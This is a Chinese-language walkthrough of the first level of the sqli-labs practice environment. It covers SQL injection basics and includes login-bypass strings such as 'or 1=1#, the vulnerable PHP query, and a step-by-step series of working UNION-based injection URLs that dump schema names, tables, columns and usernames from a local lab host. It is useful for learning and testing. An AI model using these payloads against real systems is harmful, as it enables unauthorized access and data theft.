sqli-labs-master 第一關


Sql注入

基礎知識:

一··系統函數;

1. version()——MySQL 版本

2. user()——數據庫用戶名

3. database()——數據庫名

4. @@datadir——數據庫路徑

5. @@version_compile_os——操作系統版本

二··字符串連接函數

  1. concat(str1,str2,...)——沒有分隔符地連接字符串

2. concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串

3. group_concat(str1,str2,...)——連接一個組的所有字符串,並以逗號分隔每一條數據

三·一般嘗試的語句

--+可以用#替換,url 提交過程中 Url 編碼后的#為%23

or 1=1--+

'or 1=1--+

"or 1=1--+

)or 1=1--+

')or 1=1--+

") or 1=1--+

"))or 1=1--+

一般代碼為:

$id=$_GET[‘id’];

$sql=’SELECT * FROM users WHERE id =’$id’ LIMIT 0,1’;

此處考慮兩個點,一個是閉合前面你的 ‘ 另一個是處理后面的 ‘ ,一般采用兩種思路,閉合后面的引號或者注釋掉,注釋掉采用--+ 或者 #(%23)

四·union操作符介紹

  UNION 操作符用於合並兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的 列的順序必須相同。

  SQL UNION 語法

SELECT column_name(s) FROM table_name1

UNION

SELECT column_name(s) FROM table_name2

注釋:默認地,UNION 操作符選取不同的值。如果允許重復的值,請使用 UNION ALL。 SQL UNION ALL 語法

SELECT column_name(s) FROM table_name1

UNION ALL

SELECT column_name(s) FROM table_name2

另外,UNION 結果集中的列名總是等於 UNION 中第一個 SELECT 語句中的列名。

五·sql中的邏輯運算

  Select * from admin where username=’admin’ and password=’admin’

我們可以用 ’or 1=1# 作為密碼輸入

Select * from admin where username=’admin’ and password=’ ’or1=1#’

Password為假但or1=1為真

上面的這個語句執行后,我們在不知道密碼的情況下就登錄到了 admin 用戶了。 原 因 是 在 where 子 句 后 , 我 們 可 以 看 到 三 個 條 件 語 句 username=’admin’ and password=’’or 1=1。三個條件用 and 和 or 進行連接。在 sql 中,我們 and 的運算優先 級大於 or 的元算優先級。因此可以看到 第一個條件(用 a 表示)是真的,第二個條件(用 b 表示)是假的,a and b = false,第一個條件和第二個條件執行 and 后是假,再與第三 個條件 or 運算,因為第三個條件 1=1 是恆成立的,所以結果自然就為真了。因此上述的語 句就是恆真了。

①    Select * from users where id=1 and 1=1;

②Select * from users where id=1 && 1=1;

③Select * from users where id=1 & 1=1;

①和②是一樣的,表達的意思是 id=1 條件和 1=1 條件進行與運算。

②    的意思是 id=1 條件與 1 進行&位操作, id=1 被當作 true,與 1 進行 & 運算 結果還是 1, 再進行=操作,1=1,還是 1(ps:&的優先級大於=) Ps:此處進行的位運算。我們可以將數轉換為二進制再進行與、或、非、異或等運算。必要 的時候可以利用該方法進行注入結果。例如將某一字符轉換為 ascii 碼后,可以分別與 1,2,4,8,16,32.。。。進行與運算,可以得到每一位的值,拼接起來就是 ascii 碼值。再從 ascii 值反推回字符。(運用較少)

 

第一關:

http://192.168.65.130/sqli-labs-master/Less-1?id=1'or 1=1--+ limit 0,1

 

原代碼:

$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

 

http://192.168.65.130/sqli-labs-master/Less-1?id=-1 'order by 4 --+

 

order by 3顯示正常:

 

 

 

顯示位:

http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(2),(3))--+

 

 

 

爆數據庫:

http://192.168.65.130/sqli-labs-master/Less=-1?id=1'+UNION(SELECT(1),(group_concat(schema_name)),(3) from information_schema.schemata) --+limit 0,1

 

 

 

 

 

 

 

 

 

 

 

 

 

爆表名:

http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(group_concat(table_name)),(3) from information_schema.tables where table_schema='security') --+limit 0,1

 

 

爆裂名:

http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(group_concat(column_name)),(3) from information_schema.columns where table_schema='security' and table_name='users') --+limit 0,1

 

 

 

 

 

報數據:

http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(username),(3) from users where id=3) --+limit 0,1

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM